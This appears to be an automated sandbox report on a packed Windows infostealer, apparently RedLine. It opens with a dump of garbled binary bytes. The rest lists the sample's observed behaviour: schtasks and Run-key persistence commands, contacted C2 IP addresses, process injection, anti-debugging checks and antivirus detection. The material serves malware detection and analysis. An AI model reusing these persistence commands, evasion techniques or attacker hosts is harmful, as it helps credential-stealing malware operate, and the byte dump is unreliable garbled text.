ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000eae00', u'virtual_address': u'0x0000c000', u'entropy': 7.94412795068915, u'name': u'.rsrc', u'virtual_size': u'0x000eb000'}

entropy

7.94412795069

description

A section with a high entropy has been found

entropy

0.966563786008

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (7 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Feb. 19, 2023, 2:01 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Feb. 19, 2023, 2:01 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Feb. 19, 2023, 2:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Feb. 19, 2023, 2:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Feb. 19, 2023, 2:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Feb. 19, 2023, 2:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Feb. 19, 2023, 2:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (20 events)

description	Communications smtp	rule	Network_SMTP_dotNet
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	RedLine stealer	rule	RedLine_Stealer_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	RedLine stealer	rule	RedLine_Stealer_m_Zero

Queries for potentially installed applications (50 out of 255 events)

Time & API	Arguments	Status
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x00000394 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: 7-Zip base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: AddressBook base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: Adobe AIR base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: Connection Manager base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: DirectDrawEx base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: EditPlus base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: Fontcore base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: Google Chrome base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: IE40 base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: IE4Data base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: IE5BAKEX base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: IEData base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: MobileOptionPack base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: Office15.PROPLUSR base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: SchedulingAgent base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: WIC base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0015-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0016-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0018-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0019-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-001A-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-001B-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-001F-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-001F-040C-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-001F-0C0A-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-002C-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0044-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-006E-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0090-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-00A1-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-00BA-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-00E1-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-00E2-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0115-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-0117-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {90150000-012B-0409-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {91150000-0011-0000-0000-0000000FF1CE} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {AC76BA86-7AD7-FFFF-7B44-AC0F074E4100} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}	1
RegOpenKeyExW Feb. 19, 2023, 2:01 p.m.	regkey_r: {BB8B979E-E336-47E7-96BC-1031C1B94561} base_handle: 0x00000394 key_handle: 0x00000398 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}	1

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: d654256406a4d27611366b4439d53bc02bb04f6c

Communicates with host for which no DNS query was performed (8 events)

host	176.113.115.17
host	193.233.20.15
host	193.233.20.16
host	193.233.20.17
host	45.32.218.145
host	62.204.41.245
host	62.204.41.88
host	79.110.62.167

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Feb. 19, 2023, 2:02 p.m.	process_identifier: 3044 region_size: 204800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000002c	1	0	0
NtAllocateVirtualMemory Feb. 19, 2023, 2:02 p.m.	process_identifier: 2976 region_size: 204800 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000284	1	0	0

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService Feb. 19, 2023, 2:01 p.m.	service_handle: 0x0000000001217980 service_name: None control_code: 1		0	0
ControlService Feb. 19, 2023, 2:01 p.m.	service_handle: 0x0000000001217c20 service_name: None control_code: 1		0	0

Installs itself for autorun at Windows startup (12 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\truno.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000003051\truno.exe
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\test22\AppData\Local\Temp\4f9dd6f8a7\mnolyk.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F

Detects Avast Antivirus through the presence of a library (2 events)

Time & API	Arguments	Status	Return	Repeated
LdrGetDllHandle Feb. 19, 2023, 2:02 p.m.	module_name: snxhk module_address: 0x00000000 stack_pivoted: 0		3221225781	0
